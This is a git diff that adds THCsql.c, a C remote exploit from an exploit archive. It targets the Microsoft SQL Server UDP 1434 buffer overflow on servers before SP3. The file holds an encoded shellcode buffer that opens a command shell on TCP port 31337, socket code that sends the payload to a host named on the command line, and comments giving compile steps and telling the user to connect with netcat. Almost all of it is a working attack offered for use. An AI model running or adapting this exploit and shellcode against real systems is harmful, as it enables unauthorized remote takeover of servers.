X-Git-Url: https://git.librecmc.org/?p=oweals%2Fthc-archive.git;a=blobdiff_plain;f=Exploits%2FTHCsql.c;fp=Exploits%2FTHCsql.c;h=828add141cfcdfa92d1e2a093a000e2c6cbef092;hp=0000000000000000000000000000000000000000;hb=dfbf6f563fd603e051f44a00e375b592a002b736;hpb=1bf41562f218d9a607f88640fb33bf0775424756

diff --git a/Exploits/THCsql.c b/Exploits/THCsql.c
new file mode 100644
index 0000000..828add1
--- /dev/null
+++ b/Exploits/THCsql.c
@@ -0,0 +1,140 @@
+/*****************************************************************************/
+/* THCsql 0.1 - MSSQL Server exploit for Server < SP3                        */
+/* Exploit by: Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)            */
+/* THC PUBLIC SOURCE MATERIALS                                               */
+/*                                                                           */
+/* The exploit can be freely distributed !                                   */
+/*                                                                           */
+/* This is just another exploit for the well known mssql server bug which    */
+/* was found by David Litchfield last summer. Details in this advisory:      */
+/*           http://www.nextgenss.com/advisories/mssql-udp.txt               */
+/*                                                                           */
+/* This exploit was tested on an english Windows 2k Server SP2 and MSSQL     */
+/* Server with SP0 and SP2 and has worked properly. The used shellcode is    */
+/* completely offsetless, which makes this exploit quite stable              */
+/*                                                                           */
+/* After successful exploitation of this bug, a commandshell should spawn on */
+/* TCP port 31337 ! Use netcat to connect to this port !                     */
+/*                                                                           */
+/* If there's no connectable port 31337, maybe it's blocked by a firewall !  */
+/*                                                                           */
+/* compile with MS Visual C++ : cl THCsql.c /link ws2_32.lib                 */
+/*                                                                           */
+/* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak,  */
+/* scut, stealth, zip, zilvio and the rest of the combo ......               */
+/*****************************************************************************/
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <winsock2.h>
+
+char badbuffer[] =
+"\x04"
+"THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"
+"THCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHCTHC"
+"\xdc\xc9\xb0\x42"
+"\xeb\x0e"
+"JC"
+"THC!"
+"\x01\x70\xae\x42"
+"\x01\x70\xae\x42"
+"\x8b\xfc\x83\xc7\x2c\x66\x81\xec\x04\x02\x33\xc9\xb2\x35\x66"
+"\x81\xc1\x38\x01\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\xde\x16"
+"\x4f\x5c\x37\x30\x59\x6c\xcd\x28\xa9\xeb\xb9\xe4\x79\x45\xe1"
+"\x36\xc5\x12\x15\x15\x05\x3d\x62\x66\x07\x6a\x06\x07\x1b\x71"
+"\x79\x79\x34\xde\x30\xdd\xcc\xca\xca\xca\x68\xb6\xd8\x1f\x5f"
+"\x05\x6c\x51\xbe\x34\xbe\x75\x39\xbe\x45\x29\x98\xbe\x4d\x3d"
+"\xb8\x6a\x09\xbe\x2e\x34\xce\xbe\x6e\x4d\x34\xce\xbe\x7e\x29"
+"\x34\xcc\xbe\x66\x11\x34\xcf\x66\x64\x67\xbe\x6e\x15\x34\xce"
+"\x04\xfc\x74\x04\xf5\xac\xbe\x01\xbe\x34\xcb\x99\x04\xf7\xe4"
+"\xd7\xb1\xf5\x40\xc2\x3a\x83\x70\x30\xb8\x71\x70\x31\x53\x0c"
+"\x25\x40\xd4\x53\x04\x25\x6f\x6d\x6b\x63\x65\x67\x1e\x7b\x25"
+"\x74\x3a\x82\x39\x7f\xbe\x31\xbd\x34\xcd\x3a\x83\x78\x30\xbc"
+"\x71\xb8\xed\xcb\x78\x30\x40\x8b\xcb\x78\x31\x41\x14\xcb\x78"
+"\x17\xb8\x68\x2d\x66\xca\xe5\xbc\xf2\x5f\x31\x6d\xbd\x70\x30"
+"\xb5\x70\x42\x3f\xb8\x68\x41\xb5\x5e\x13\x21\xdc\x4d\xca\xca"
+"\xca\xbc\xfb\x04\xee\x66\x66\x66\x66\x63\x73\x63\xca\xe5\xa2"
+"\x60\x6d\x53\xbc\x05\x5f\x25\x60\x62\xca\x60\xe1\x7b\x63\x62"
+"\xca\x60\xf9\x66\x60\x62\xca\x60\xe5\xa2\xb8\x70\xbd\x65\xca"
+"\x60\xd1\x60\x60\xca\x60\xdd\xb8\x71\x30\x39\xa1\x66\x5d\x1b"
+"\x50\x4d\x50\x5d\x69\x56\x58\x51\xa1\x04\xe7\xb8\x70\xf9\xa1"
+"\x62\x62\x62\x66\x66\xcb\xf3\x34\xc7\x67\xa1\xb8\x70\x4d\x65"
+"\xb8\x70\xbd\x65\x84\x3d\x66\x66\x5f\x25\xcb\xfb\x67\x66\x66"
+"\x66\x60\xca\x60\xd9\x5f\xca\xca\x60\xd5";
+
+void usage();
+
+int main(int argc, char *argv[])
+{  
+  unsigned short sqlport=1434;
+  unsigned int sock,addr,rc;
+  struct sockaddr_in sqludp;
+  struct hostent * hp;
+  WSADATA wsaData;
+
+  printf("\nTHCsql v0.1 - Wind0wZ remote root sploit for MSSQL-Servers < SP3\n");
+  printf("by Johnny Cyberpunk (jcyberpunk@thehackerschoice.com)\n");
+  printf("bug was found by David Litchfield\n");
+  
+  if(argc<2)
+   usage();
+   
+    if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
+  {
+   printf("WSAStartup failed !\n");
+   exit(-1);
+  }
+  
+  hp = gethostbyname(argv[1]);
+
+  if (!hp){
+   addr = inet_addr(argv[1]);
+  }
+  if ((!hp)  && (addr == INADDR_NONE) )
+  {
+   printf("Unable to resolve %s\n",argv[1]);
+   exit(-1);
+  }
+
+  sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP);
+  if (!sock)
+  { 
+   printf("socket() error...\n");
+   exit(-1);
+  }
+  
+  if (hp != NULL)
+   memcpy(&(sqludp.sin_addr),hp->h_addr,hp->h_length);
+  else
+   sqludp.sin_addr.s_addr = addr;
+
+  if (hp)
+   sqludp.sin_family = hp->h_addrtype;
+  else
+   sqludp.sin_family = AF_INET;
+
+  sqludp.sin_port=htons(sqlport);
+ 
+  rc=connect(sock, (struct sockaddr *) &sqludp, sizeof (struct sockaddr_in));
+  if(rc==0)
+  {
+    send(sock,badbuffer,sizeof(badbuffer)-1,0);
+    printf("\nexploit send .... sleeping a while ....\n");
+    Sleep(1000);
+    printf("\nok ... now try to connect to port 31337 via netcat !\n");
+  }
+  else
+   printf("can't connect to sql port udp 1434!\n");
+  
+  shutdown(sock,1);
+  closesocket(sock);
+  exit(0);
+}
+
+void usage()
+{
+ unsigned int a;
+ printf("\nUsage:  <Host>\n");
+ exit(0);
+}